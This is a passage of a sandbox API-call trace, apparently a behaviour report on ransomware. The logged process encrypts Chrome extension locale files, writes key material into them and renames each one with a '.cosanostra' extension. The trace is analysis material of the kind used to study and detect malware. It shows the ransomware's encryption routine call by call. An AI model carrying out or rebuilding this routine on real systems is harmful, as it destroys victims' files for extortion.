HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.440] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 157 [0085.440] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.441] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.441] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfb84, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfb84*=0xb3, lpOverlapped=0x0) returned 1 [0085.441] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.441] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb84, lpOverlapped=0x0 | out: lpBuffer=0x28dfbc4*, lpNumberOfBytesWritten=0x28dfb84*=0x4, lpOverlapped=0x0) returned 1 [0085.441] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb84, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb84*=0x30, lpOverlapped=0x0) returned 1 [0085.441] CloseHandle (hObject=0x188) returned 1 [0085.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.cosanostra")) returned 1 [0085.443] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbc0 | out: pbBuffer=0x28dfbc0) returned 1 [0085.443] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbb8*=0x30) returned 1 [0085.443] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.443] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 157 [0085.443] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.474] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.474] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfb7c, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfb7c*=0xb3, lpOverlapped=0x0) returned 1 [0085.475] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.475] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb7c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbbc*, lpNumberOfBytesWritten=0x28dfb7c*=0x4, lpOverlapped=0x0) returned 1 [0085.475] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb7c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb7c*=0x30, lpOverlapped=0x0) returned 1 [0085.475] CloseHandle (hObject=0x188) returned 1 [0085.476] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0085.478] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbb8 | out: pbBuffer=0x28dfbb8) returned 1 [0085.478] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbb0*=0x30) returned 1 [0085.478] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.478] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158 [0085.478] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.479] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.479] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x28dfb74, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb74*=0xce, lpOverlapped=0x0) returned 1 [0085.480] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.480] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb74, lpOverlapped=0x0 | out: lpBuffer=0x28dfbb4*, lpNumberOfBytesWritten=0x28dfb74*=0x4, lpOverlapped=0x0) returned 1 [0085.480] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb74, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb74*=0x30, lpOverlapped=0x0) returned 1 [0085.480] CloseHandle (hObject=0x188) returned 1 [0085.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0085.483] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbb0 | out: pbBuffer=0x28dfbb0) returned 1 [0085.483] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfba8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfba8*=0x30) returned 1 [0085.483] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.484] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158 [0085.484] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.485] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.485] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x28dfb6c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb6c*=0xce, lpOverlapped=0x0) returned 1 [0085.492] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.492] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb6c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbac*, lpNumberOfBytesWritten=0x28dfb6c*=0x4, lpOverlapped=0x0) returned 1 [0085.492] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb6c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb6c*=0x30, lpOverlapped=0x0) returned 1 [0085.492] CloseHandle (hObject=0x188) returned 1 [0085.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0085.494] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfba8 | out: pbBuffer=0x28dfba8) returned 1 [0085.495] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfba0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfba0*=0x30) returned 1 [0085.495] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.495] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 155 [0085.495] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.496] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff1f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.496] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xe1, lpNumberOfBytesWritten=0x28dfb64, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb64*=0xe1, lpOverlapped=0x0) returned 1 [0085.496] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x188, lpBuffer=0x28dfba4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb64, lpOverlapped=0x0 | out: lpBuffer=0x28dfba4*, lpNumberOfBytesWritten=0x28dfb64*=0x4, lpOverlapped=0x0) returned 1 [0085.496] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb64, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb64*=0x30, lpOverlapped=0x0) returned 1 [0085.497] CloseHandle (hObject=0x188) returned 1 [0085.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0085.501] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfba0 | out: pbBuffer=0x28dfba0) returned 1 [0085.501] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb98*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb98*=0x30) returned 1 [0085.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.501] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 155 [0085.501] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.502] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffef8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.502] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x28dfb5c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb5c*=0x108, lpOverlapped=0x0) returned 1 [0085.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.503] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb5c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb9c*, lpNumberOfBytesWritten=0x28dfb5c*=0x4, lpOverlapped=0x0) returned 1 [0085.503] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb5c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb5c*=0x30, lpOverlapped=0x0) returned 1 [0085.503] CloseHandle (hObject=0x188) returned 1 [0085.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0085.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb98 | out: pbBuffer=0x28dfb98) returned 1 [0085.505] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb90*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb90*=0x30) returned 1 [0085.506] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.506] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 155 [0085.506] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.507] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.507] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x28dfb54, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb54*=0xe3, lpOverlapped=0x0) returned 1 [0085.507] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.508] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb54, lpOverlapped=0x0 | out: lpBuffer=0x28dfb94*, lpNumberOfBytesWritten=0x28dfb54*=0x4, lpOverlapped=0x0) returned 1 [0085.508] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb54, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb54*=0x30, lpOverlapped=0x0) returned 1 [0085.508] CloseHandle (hObject=0x188) returned 1 [0085.509] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0085.510] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb90 | out: pbBuffer=0x28dfb90) returned 1 [0085.511] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb88*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb88*=0x30) returned 1 [0085.511] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.511] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json") returned 155 [0085.511] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.512] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.512] WriteFile (in: hFile=0x188, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x28dfb4c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x28dfb4c*=0xfe, lpOverlapped=0x0) returned 1 [0085.513] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.513] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb4c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb8c*, lpNumberOfBytesWritten=0x28dfb4c*=0x4, lpOverlapped=0x0) returned 1 [0085.513] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb4c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb4c*=0x30, lpOverlapped=0x0) returned 1 [0085.513] CloseHandle (hObject=0x188) returned 1 [0085.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0085.515] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfb88 | out: pbBuffer=0x28dfb88) returned 1 [0085.515] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfb80*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfb80*=0x30) returned 1 [0085.515] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 